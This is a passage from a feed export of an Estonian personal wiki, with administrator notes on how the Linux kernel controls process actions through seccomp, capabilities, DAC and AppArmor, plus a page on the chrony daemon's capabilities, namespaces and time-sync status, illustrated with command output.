* Restricted Syscalls: Actions like clock_adjtime(), reboot(), or mount() are &amp;quot;dangerous.&amp;quot; Historically, the kernel had a simple rule: if (uid == 0) (Root), allow; else, deny.&lt;br /&gt;
&lt;br /&gt;
Väited syscall kasutamise kohta&lt;br /&gt;
&lt;br /&gt;
* kui tavakasutaja tegeleb omale kuuluva tekstifaili sisu muutmisega, siis ta esmalt sooritab open() syscalli ja seda üldiselt lubatakse kõigil kasutajatel teha, seejuures saab süsteem teada, kas kasutajal on lubatud kõnealuse failiga tegeleda ja mil viisil jne; ja edasi kasutaja ütleb read() syscall'i: read() iseenesest vajab tugevaid lube töötamiseks, aga süsteem tuletab loa protsessi omaniku/grupi kõrvutamisest faili omaniku/grupi ja loabittidega - näiliselt tundub, et read(), write() jt selliste syscallide kasutamine toimub väga liberaalselt&lt;br /&gt;
* kui kasutaja root käivitab tekstireadaktori asub tegelema tekstifaili sisu muutmisega, siis toimub sarnane kontroll kuid see annab väga jaatava vastuse kuna kasutaja on root (uid=0) - kernelil on kasutada loogika, et kui kasutaja on root siis see on samaväärne kõigi capacitite olemasoluga&lt;br /&gt;
&lt;br /&gt;
Joonis&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
   töötav protsess  -&amp;gt;  syscall liides        -&amp;gt; kernel               -&amp;gt;    ressurss&lt;br /&gt;
 &lt;br /&gt;
                    ^                              ^                  ^&lt;br /&gt;
                    |                              |                  |&lt;br /&gt;
                    |                              |                  |&lt;br /&gt;
 &lt;br /&gt;
            seccomp tulemüür                  capabilities      lsm (apparmor)&lt;br /&gt;
                                                  dac&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* systemd - tegeleb seccomp ja capabilities rakendamisega&lt;br /&gt;
* apparmor - tegeleb lsm rakendamisega&lt;br /&gt;
&lt;br /&gt;
===gemini joonis===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
[ PROCESS ]&lt;br /&gt;
      |&lt;br /&gt;
      | 1. SECCOMP GATE (The Vocabulary Check)&lt;br /&gt;
      |    &amp;quot;Is this syscall even allowed to be uttered?&amp;quot;&lt;br /&gt;
      |    [ Filter: 23 active ] ---------------------&amp;gt; [ REJECT / SIGSYS ]&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
      | 2. CAPABILITIES GATE (The Authority Check)&lt;br /&gt;
      |    &amp;quot;Does this process hold the specific bit for this action?&amp;quot;&lt;br /&gt;
      |    [ e.g., CAP_SYS_TIME ] --------------------&amp;gt; [ REJECT / EPERM ]&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
      | 3. DAC / ACL GATE (The Identity Check)&lt;br /&gt;
      |    &amp;quot;Is the process UID/GID on the list for this file/device?&amp;quot;&lt;br /&gt;
      |    [ Feature: +ACL ] -------------------------&amp;gt; [ REJECT / EACCES ]&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
      | 4. LSM / MAC GATE (The Policy &amp;quot;Horizon&amp;quot;)&lt;br /&gt;
      |    &amp;quot;Does the overall security policy permit this role this access?&amp;quot;&lt;br /&gt;
      |    [ AppArmor / SELINUX ] --------------------&amp;gt; [ REJECT / DENIED ]&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
  [ RESOURCE ] (e.g., /dev/sda, System Clock, Network Socket)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Capabilities===&lt;br /&gt;
&lt;br /&gt;
Linuxi tuumas on üldotstarbeline capability süsteem, mille abil nt saab protsessidele anda erinevaid privileege. Nt üks selline capabiliti on dac_override, mis seisneb selles, et root kasutajal on õigus sõita üle enamusest piirangutest, nt saab root töötada kasutajale kuuluvate failidega. Kui root kasutajale ei anna apparmor profiil erilisi privileege, siis root kasutaja on enam-vähem samaväärne tavakasutajaga, mille nimeks on 'root'. St tal ei ole õigust nt teiste kasutajate faile lugeda. Selleks, et root kasutajale kehtestatud apparmor profiili tingimustes see ülesõitmise privileeg tagasi tekiks sobib kasutada profiilis rida 'capability dac_override'. Capability süsteem on üldotstarbeline, ta ei ole LSM komponent, nt üks tema esinemise koht on selles, et uuemal ajal /bin/ping ei ole enam setuid&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# ls -ld /bin/ping&lt;br /&gt;
-rwxr-xr-x 1 root root 44104 Nov  8  2014 /bin/ping&lt;br /&gt;
&lt;br /&gt;
# getcap /bin/ping&lt;br /&gt;
/bin/ping = cap_net_raw+ep&lt;br /&gt;
&lt;br /&gt;
# getfattr -d -m &amp;quot;^security\\.&amp;quot; /bin/ping&lt;br /&gt;
getfattr: Removing leading '/' from absolute path names&lt;br /&gt;
# file: bin/ping&lt;br /&gt;
security.capability=0sAQAAAgAgAAAAAAAAAAAAAAAAAAA=&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kusjuures stat programm kasutab nn legacy syscall'i ja ei esita capabilities kohta infot (olevat olemas ka statx)&lt;br /&gt;
&lt;br /&gt;
Failile cap seadistamiseks sobib öelda nt&lt;br /&gt;
&lt;br /&gt;
 # setcap cap_net_raw,cap_setuid,cap_setgid+ep /tmp/capable&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* +ep - kehtestatud&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://wiki.archlinux.org/index.php/Capabilities&lt;br /&gt;
* man capabilities&lt;br /&gt;
&lt;br /&gt;
===Capabilities - 2026 kevad märkmed===&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* teatud mõttes capabilities laiendab nö klassikaliselt setuid lahendust (mis võimaldab faili omaduste alusel tuletada protsessi käivitamise jaoks sobivad privileegid - tavaliselt tavakasutaja -&amp;gt; root kasutaja)&lt;br /&gt;
* võimalik on tekitada tavakasutajale kuuluva protsessi, mis on binditud privilegeeritud st &amp;lt;1024 port külge&lt;br /&gt;
* teatud määral päritakse capabilitied parent protsessi käest child protsessi poolt&lt;br /&gt;
&lt;br /&gt;
capabilities saab toimuda kahe nö allika põhiselt&lt;br /&gt;
&lt;br /&gt;
* faili xattr alusel staatiliselt&lt;br /&gt;
* kõrgema privileegiga protsessi poolt väljakutsutud viisil dünaamiliselt (nt systemd service unit)&lt;br /&gt;
&lt;br /&gt;
systemd puhul tavaliselt seadistatakse alumime ja ülemine lagi privileegidega&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# systemctl show systemd-resolved | grep Capab&lt;br /&gt;
CapabilityBoundingSet=cap_setpcap cap_net_bind_service cap_net_raw&lt;br /&gt;
AmbientCapabilities=cap_setpcap cap_net_bind_service cap_net_raw&lt;br /&gt;
&lt;br /&gt;
root@zabbix-pub-01:~# egrep -r AmbientCapabilities /lib/systemd/&lt;br /&gt;
/lib/systemd/system/e2scrub_reap.service:AmbientCapabilities=CAP_SYS_ADMIN CAP_SYS_RAWIO&lt;br /&gt;
/lib/systemd/system/e2scrub@.service:AmbientCapabilities=CAP_SYS_ADMIN CAP_SYS_RAWIO&lt;br /&gt;
/lib/systemd/system/xfs_scrub@.service:AmbientCapabilities=CAP_SYS_ADMIN CAP_FOWNER CAP_DAC_OVERRIDE CAP_DAC_READ_SEARCH CAP_SYS_RAWIO&lt;br /&gt;
/lib/systemd/system/systemd-timesyncd.service:AmbientCapabilities=CAP_SYS_TIME&lt;br /&gt;
/lib/systemd/system/systemd-networkd.service:AmbientCapabilities=CAP_NET_ADMIN CAP_NET_BIND_SERVICE CAP_NET_BROADCAST CAP_NET_RAW&lt;br /&gt;
/lib/systemd/system/systemd-resolved.service:AmbientCapabilities=CAP_SETPCAP CAP_NET_RAW CAP_NET_BIND_SERVICE&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Parasjagu olevat protsesside seisu capability mõttes esitab pscap programm, nt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# apt-get install libcap-ng-utils&lt;br /&gt;
root@zabbix-pub-01:~# pscap -a&lt;br /&gt;
ppid  pid   uid         command             capabilities&lt;br /&gt;
0     1     root        systemd             full +&lt;br /&gt;
1     344   root        systemd-journal     chown, dac_override, dac_read_search, fowner, setgid, setuid, sys_ptrace, sys_admin, audit_control, mac_override, syslog, audit_read +&lt;br /&gt;
1     395   root        multipathd          full +&lt;br /&gt;
1     413   root        systemd-udevd       chown, dac_override, dac_read_search, fowner, fsetid, kill, setgid, setuid, setpcap, linux_immutable, net_bind_service, net_broadcast, net_admin, net_raw, ipc_lock, ipc_owner, sys_module, sys_rawio, sys_chroot, sys_ptrace, sys_pacct, sys_admin, sys_boot, sys_nice, sys_resource, sys_tty_config, mknod, lease, audit_write, audit_control, setfcap, mac_override, mac_admin, syslog, block_suspend, audit_read, perfmon, bpf, checkpoint_restore +&lt;br /&gt;
1     562   systemd-network  systemd-network     net_bind_service, net_broadcast, net_admin, net_raw @ +&lt;br /&gt;
1     577   systemd-resolve  systemd-resolve     net_raw @ +&lt;br /&gt;
1     593   systemd-timesync  systemd-timesyn     sys_time @ +&lt;br /&gt;
1     715   messagebus  dbus-daemon         audit_write +&lt;br /&gt;
1     719   root        php-fpm8.3          full +&lt;br /&gt;
1     724   root        qemu-ga             full +&lt;br /&gt;
1     733   root        systemd-logind      chown, dac_override, dac_read_search, fowner, linux_immutable, sys_admin, sys_tty_config, audit_control, mac_admin +&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Dünaamiline capability====&lt;br /&gt;
&lt;br /&gt;
Ühes aknas öeldakse&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# capsh --keep=1 --user=nobody --inh=cap_chown --addamb=cap_chown --caps=&amp;quot;cap_chown=eip&amp;quot; -- -c &amp;quot;sleep 60&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja teises küsitakse&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# ps aux | grep sleep&lt;br /&gt;
nobody    216107  0.0  0.1   5692  2196 pts/0    S+   00:45   0:00 sleep 60&lt;br /&gt;
&lt;br /&gt;
root@zabbix-pub-01:~# grep -i cap /proc/216107/status&lt;br /&gt;
CapInh:	0000000000000001&lt;br /&gt;
CapPrm:	0000000000000001&lt;br /&gt;
CapEff:	0000000000000001&lt;br /&gt;
CapBnd:	000001ffffffffff&lt;br /&gt;
CapAmb:	0000000000000001&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===seccomp===&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
====Misc====&lt;br /&gt;
&lt;br /&gt;
seccomp leiab kõneks olevad syscallid üles nn bpf-classic filtrite abil, antud juhul 23 tükki (neid ei esita bpftool prog show)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# cat /proc/1436092/status | grep Seccomp&lt;br /&gt;
Seccomp:	2&lt;br /&gt;
Seccomp_filters:	23&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@dh-minio-01:~# cat seccomp-list.sh&lt;br /&gt;
for pid in $(ls /proc | grep -E '^[0-9]+$'); do&lt;br /&gt;
    status=$(grep &amp;quot;Seccomp:&amp;quot; /proc/$pid/status 2&amp;gt;/dev/null | awk '{print $2}')&lt;br /&gt;
    if [ &amp;quot;$status&amp;quot; = &amp;quot;2&amp;quot; ]; then&lt;br /&gt;
        name=$(cat /proc/$pid/comm)&lt;br /&gt;
        echo &amp;quot;PID $pid ($name) is SECCOMP FILTERED&amp;quot;&lt;br /&gt;
    fi&lt;br /&gt;
done&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
nt Debian v. 13 arvutis&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@dh-minio-01:~# sh seccomp-list.sh&lt;br /&gt;
PID 11405 (rsyslogd) is SECCOMP FILTERED&lt;br /&gt;
PID 155380 (nginx) is SECCOMP FILTERED&lt;br /&gt;
PID 155381 (nginx) is SECCOMP FILTERED&lt;br /&gt;
PID 155382 (nginx) is SECCOMP FILTERED&lt;br /&gt;
PID 157836 (postgres) is SECCOMP FILTERED&lt;br /&gt;
PID 157837 (postgres) is SECCOMP FILTERED&lt;br /&gt;
PID 157838 (postgres) is SECCOMP FILTERED&lt;br /&gt;
PID 157840 (postgres) is SECCOMP FILTERED&lt;br /&gt;
PID 157841 (postgres) is SECCOMP FILTERED&lt;br /&gt;
PID 157842 (postgres) is SECCOMP FILTERED&lt;br /&gt;
PID 297 (systemd-journal) is SECCOMP FILTERED&lt;br /&gt;
PID 322 (systemd-timesyn) is SECCOMP FILTERED&lt;br /&gt;
PID 353 (systemd-udevd) is SECCOMP FILTERED&lt;br /&gt;
PID 653 (systemd-logind) is SECCOMP FILTERED&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* https://oneuptime.com/blog/post/2026-03-02-how-to-use-seccomp-to-restrict-system-calls-on-ubuntu/view&lt;br /&gt;
&lt;br /&gt;
===Kasulikud lisamaterjalid===&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;/div&gt;</summary>
		<author><name>Imre</name></author>
	</entry>
	<entry>
		<id>https://www.auul.pri.ee/wiki/index.php?title=Chrony&amp;diff=3439</id>
		<title>Chrony</title>
		<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/index.php?title=Chrony&amp;diff=3439"/>
		<updated>2026-05-03T23:23:18Z</updated>

		<summary type="html">&lt;p&gt;Imre: /* Misc - chrony protsess */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===Sissejuhatus===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Tööpõhimõte===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Misc - chrony protsess===&lt;br /&gt;
&lt;br /&gt;
chronyd protsessi info&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# pgrep chronyd&lt;br /&gt;
1436092&lt;br /&gt;
1436093&lt;br /&gt;
root@pve-svc-02:~# lsns -p 1436093&lt;br /&gt;
        NS TYPE   NPROCS     PID USER    COMMAND&lt;br /&gt;
4026531833 net       481       1 root    /sbin/init&lt;br /&gt;
4026531834 time      481       1 root    /sbin/init&lt;br /&gt;
4026531835 cgroup    481       1 root    /sbin/init&lt;br /&gt;
4026531836 pid       481       1 root    /sbin/init&lt;br /&gt;
4026531837 user      481       1 root    /sbin/init&lt;br /&gt;
4026531839 ipc       481       1 root    /sbin/init&lt;br /&gt;
4026533035 mnt         2 1436092 _chrony ├─/usr/sbin/chronyd -F 1&lt;br /&gt;
4026533036 uts         2 1436092 _chrony └─/usr/sbin/chronyd -F 1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
seccomp leiab oma syscallid üles bfp-classic filtrite abil (neid ei esita 'bpftool prog show')&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# cat /proc/1436092/status | grep -i seccomp&lt;br /&gt;
Seccomp:	2&lt;br /&gt;
Seccomp_filters:	23&lt;br /&gt;
&lt;br /&gt;
root@pve-svc-02:~# nsenter -m -t 1436092 findmnt | grep inacc | sed -r 's/tmpfs\s+.*//'&lt;br /&gt;
│ └─/dev/kmsg                                                    tmpfs[/systemd/inaccessible/chr]&lt;br /&gt;
│ ├─/run/credentials                                             tmpfs[/systemd/inaccessible/dir]&lt;br /&gt;
│ ├─/run/user                                                    tmpfs[/systemd/inaccessible/dir]&lt;br /&gt;
├─/root                                                          tmpfs[/systemd/inaccessible/dir]&lt;br /&gt;
├─/home                                                          tmpfs[/systemd/inaccessible/dir]&lt;br /&gt;
├─/usr/lib/modules                                               tmpfs[/systemd/inaccessible/dir]&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning capabilities&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# pscap -p 1436092&lt;br /&gt;
ppid  pid   uid         command             capabilities&lt;br /&gt;
1     1436092 _chrony     chronyd             net_bind_service, sys_time +&lt;br /&gt;
&lt;br /&gt;
root@pve-svc-02:~# pscap -p 1436093&lt;br /&gt;
ppid  pid   uid         command             capabilities&lt;br /&gt;
1436092 1436093 _chrony     chronyd             net_bind_service, sys_time +&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
või getpcaps abil (ep - effective, permitted)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# getpcaps 1436092&lt;br /&gt;
1436092: cap_net_bind_service,cap_sys_time=ep&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
või /proc/PID/status abil&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# cat /proc/1436092/status | grep ^Cap&lt;br /&gt;
CapInh:	0000000000000000&lt;br /&gt;
CapPrm:	0000000002000400&lt;br /&gt;
CapEff:	0000000002000400&lt;br /&gt;
CapBnd:	000001c08380fddf&lt;br /&gt;
CapAmb:	0000000000000000&lt;br /&gt;
&lt;br /&gt;
root@pve-svc-02:~# capsh --decode=0000000002000400&lt;br /&gt;
0x0000000002000400=cap_net_bind_service,cap_sys_time&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* CapInh: Inheritable (can be passed to children).&lt;br /&gt;
* CapPrm: Permitted (the maximum &amp;quot;credit limit&amp;quot; of authority).&lt;br /&gt;
* CapEff: Effective (the authority currently being used).&lt;br /&gt;
* CapBnd: Bounding (the hard ceiling that cannot be exceeded).&lt;br /&gt;
* CapAmb: Ambient (applies to unprivileged non-setuid binaries).&lt;br /&gt;
&lt;br /&gt;
ning&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning systemd vastavad seadistused&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# systemctl show chrony | egrep &amp;quot;^Prot|^Priv|^Capab&amp;quot; | egrep &amp;quot;restore$|yes$&amp;quot;&lt;br /&gt;
CapabilityBoundingSet=cap_chown cap_dac_override cap_dac_read_search cap_fowner cap_fsetid cap_setgid cap_setuid cap_setpcap cap_net_bind_service cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock cap_ipc_owner cap_sys_nice cap_sys_resource cap_sys_time cap_setfcap cap_perfmon cap_bpf cap_checkpoint_restore&lt;br /&gt;
PrivateTmp=yes&lt;br /&gt;
ProtectKernelTunables=yes&lt;br /&gt;
ProtectKernelModules=yes&lt;br /&gt;
ProtectKernelLogs=yes&lt;br /&gt;
ProtectControlGroups=yes&lt;br /&gt;
ProtectControlGroupsEx=yes&lt;br /&gt;
ProtectHome=yes&lt;br /&gt;
ProtectHostname=yes&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Misc - chrony teenus===&lt;br /&gt;
&lt;br /&gt;
Seadistus&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# egrep &amp;quot;pool|server&amp;quot; /etc/chrony/chrony.conf&lt;br /&gt;
# pool 2.debian.pool.ntp.org iburst&lt;br /&gt;
&lt;br /&gt;
root@pve-svc-02:~# cat /etc/chrony/sources.d/local-ntp-server.sources&lt;br /&gt;
server 10.192.0.53 iburst&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
sources info&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# chronyc sources -v -n&lt;br /&gt;
&lt;br /&gt;
  .-- Source mode  '^' = server, '=' = peer, '#' = local clock.&lt;br /&gt;
 / .- Source state '*' = current best, '+' = combined, '-' = not combined,&lt;br /&gt;
| /             'x' = may be in error, '~' = too variable, '?' = unusable.&lt;br /&gt;
||                                                 .- xxxx [ yyyy ] +/- zzzz&lt;br /&gt;
||      Reachability register (octal) -.           |  xxxx = adjusted offset,&lt;br /&gt;
||      Log2(Polling interval) --.      |          |  yyyy = measured offset,&lt;br /&gt;
||                                \     |          |  zzzz = estimated error.&lt;br /&gt;
||                                 |    |           \&lt;br /&gt;
MS Name/IP address         Stratum Poll Reach LastRx Last sample&lt;br /&gt;
===============================================================================&lt;br /&gt;
^* 10.192.0.53                   4   9   377   413   -135us[ -216us] +/- 3171us&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
tracking info&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# chronyc tracking&lt;br /&gt;
Reference ID    : 0AC00035 (10.192.0.53)&lt;br /&gt;
Stratum         : 5&lt;br /&gt;
Ref time (UTC)  : Sun May 03 17:25:18 2026&lt;br /&gt;
System time     : 0.000016197 seconds slow of NTP time&lt;br /&gt;
Last offset     : -0.000080330 seconds&lt;br /&gt;
RMS offset      : 0.000049475 seconds&lt;br /&gt;
Frequency       : 0.712 ppm fast&lt;br /&gt;
Residual freq   : -0.006 ppm&lt;br /&gt;
Skew            : 0.085 ppm&lt;br /&gt;
Root delay      : 0.006004042 seconds&lt;br /&gt;
Root dispersion : 0.000445185 seconds&lt;br /&gt;
Update interval : 517.6 seconds&lt;br /&gt;
Leap status     : Normal&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Kasulikud lisamaterjalid===&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;/div&gt;</summary>
		<author><name>Imre</name></author>
	</entry>
	<entry>
		<id>https://www.auul.pri.ee/wiki/index.php?title=Linux_kernel_kontrollib_tegevusi&amp;diff=3438</id>
		<title>Linux kernel kontrollib tegevusi</title>
		<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/index.php?title=Linux_kernel_kontrollib_tegevusi&amp;diff=3438"/>
		<updated>2026-05-03T23:21:49Z</updated>

		<summary type="html">&lt;p&gt;Imre: /* seccomp */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===Sissejuhatus===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Mõisted===&lt;br /&gt;
&lt;br /&gt;
* seccomp&lt;br /&gt;
* capabilities&lt;br /&gt;
* dac/acl&lt;br /&gt;
* lsm&lt;br /&gt;
&lt;br /&gt;
===Tööpõhimõte===&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* üldiselt tahab protsess kasutada mingit ressurssi ja seda on vaja kontrollida (nt peab süsteem otsustama, kas seda kasutamist lubada)&lt;br /&gt;
* privileegid (st õigus midagi teha, midagi kasutada) pole mitte niivõrd kasutajal, aga privileegid on protsessil&lt;br /&gt;
* protsessi privileegid tulenevad muu hulgast kolmest asjaolust: 1. seccomp syscall tulemüür, 2. capabilities, 3. lsm&lt;br /&gt;
* capability'le vastab komplekt syscallisid (tavaliselt)&lt;br /&gt;
* system call (syscall, 'make system call') - xxx&lt;br /&gt;
&lt;br /&gt;
Syscallisid on üldiselt kahesuguseid&lt;br /&gt;
&lt;br /&gt;
* Automatic Syscalls: Actions like mmap(), read(), or brk() are considered &amp;quot;safe.&amp;quot; The kernel assumes that if you have the memory or the file handle, you can perform these actions. No special &amp;quot;permission&amp;quot; is needed beyond standard file permissions.&lt;br /&gt;
* Restricted Syscalls: Actions like clock_adjtime(), reboot(), or mount() are &amp;quot;dangerous.&amp;quot; Historically, the kernel had a simple rule: if (uid == 0) (Root), allow; else, deny.&lt;br /&gt;
&lt;br /&gt;
Väited syscall kasutamise kohta&lt;br /&gt;
&lt;br /&gt;
* kui tavakasutaja tegeleb omale kuuluva tekstifaili sisu muutmisega, siis ta esmalt sooritab open() syscalli ja seda üldiselt lubatakse kõigil kasutajatel teha, seejuures saab süsteem teada, kas kasutajal on lubatud kõnealuse failiga tegeleda ja mil viisil jne; ja edasi kasutaja ütleb read() syscall'i: read() iseenesest vajab tugevaid lube töötamiseks, aga süsteem tuletab loa protsessi omaniku/grupi kõrvutamisest faili omaniku/grupi ja loabittidega - näiliselt tundub, et read(), write() jt selliste syscallide kasutamine toimub väga liberaalselt (käigult konstrueeritakse efektiivselt sobivad capacitid)&lt;br /&gt;
* kui kasutaja root käivitab tekstireadaktori asub tegelema tekstifaili sisu muutmisega, siis toimub sarnane kontroll kuid see annab väga jaatava vastuse kuna kasutaja on root (uid=0) - kernelil on kasutada loogika, et kui kasutaja on root siis see on samaväärne kõigi capacitite olemasoluga&lt;br /&gt;
&lt;br /&gt;
Joonis&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
   töötav protsess  -&amp;gt;  syscall liides        -&amp;gt; kernel               -&amp;gt;    ressurss&lt;br /&gt;
 &lt;br /&gt;
                    ^                              ^                  ^&lt;br /&gt;
                    |                              |                  |&lt;br /&gt;
                    |                              |                  |&lt;br /&gt;
 &lt;br /&gt;
            seccomp tulemüür                  capabilities      lsm (apparmor)&lt;br /&gt;
                                                  dac&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* systemd - tegeleb seccomp ja capabilities rakendamisega&lt;br /&gt;
* apparmor - tegeleb lsm rakendamisega&lt;br /&gt;
&lt;br /&gt;
===gemini joonis===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
[ PROCESS ]&lt;br /&gt;
      |&lt;br /&gt;
      | 1. SECCOMP GATE (The Vocabulary Check)&lt;br /&gt;
      |    &amp;quot;Is this syscall even allowed to be uttered?&amp;quot;&lt;br /&gt;
      |    [ Filter: 23 active ] ---------------------&amp;gt; [ REJECT / SIGSYS ]&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
      | 2. CAPABILITIES GATE (The Authority Check)&lt;br /&gt;
      |    &amp;quot;Does this process hold the specific bit for this action?&amp;quot;&lt;br /&gt;
      |    [ e.g., CAP_SYS_TIME ] --------------------&amp;gt; [ REJECT / EPERM ]&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
      | 3. DAC / ACL GATE (The Identity Check)&lt;br /&gt;
      |    &amp;quot;Is the process UID/GID on the list for this file/device?&amp;quot;&lt;br /&gt;
      |    [ Feature: +ACL ] -------------------------&amp;gt; [ REJECT / EACCES ]&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
      | 4. LSM / MAC GATE (The Policy &amp;quot;Horizon&amp;quot;)&lt;br /&gt;
      |    &amp;quot;Does the overall security policy permit this role this access?&amp;quot;&lt;br /&gt;
      |    [ AppArmor / SELINUX ] --------------------&amp;gt; [ REJECT / DENIED ]&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
  [ RESOURCE ] (e.g., /dev/sda, System Clock, Network Socket)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Capabilities===&lt;br /&gt;
&lt;br /&gt;
Linuxi tuumas on üldotstarbeline capability süsteem, mille abil nt saab protsessidele anda erinevaid privileege. Nt üks selline capabiliti on dac_override, mis seisneb selles, et root kasutajal on õigus sõita üle enamusest piirangutest, nt saab root töötada kasutajale kuuluvate failidega. Kui root kasutajale ei anna apparmor profiil erilisi privileege, siis root kasutaja on enam-vähem samaväärne tavakasutajaga, mille nimeks on 'root'. St tal ei ole õigust nt teiste kasutajate faile lugeda. Selleks, et root kasutajale kehtestatud apparmor profiili tingimustes see ülesõitmise privileeg tagasi tekiks sobib kasutada profiilis rida 'capability dac_override'. Capability süsteem on üldotstarbeline, ta ei ole LSM komponent, nt üks tema esinemise koht on selles, et uuemal ajal /bin/ping ei ole enam setuid&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# ls -ld /bin/ping&lt;br /&gt;
-rwxr-xr-x 1 root root 44104 Nov  8  2014 /bin/ping&lt;br /&gt;
&lt;br /&gt;
# getcap /bin/ping&lt;br /&gt;
/bin/ping = cap_net_raw+ep&lt;br /&gt;
&lt;br /&gt;
# getfattr -d -m &amp;quot;^security\\.&amp;quot; /bin/ping&lt;br /&gt;
getfattr: Removing leading '/' from absolute path names&lt;br /&gt;
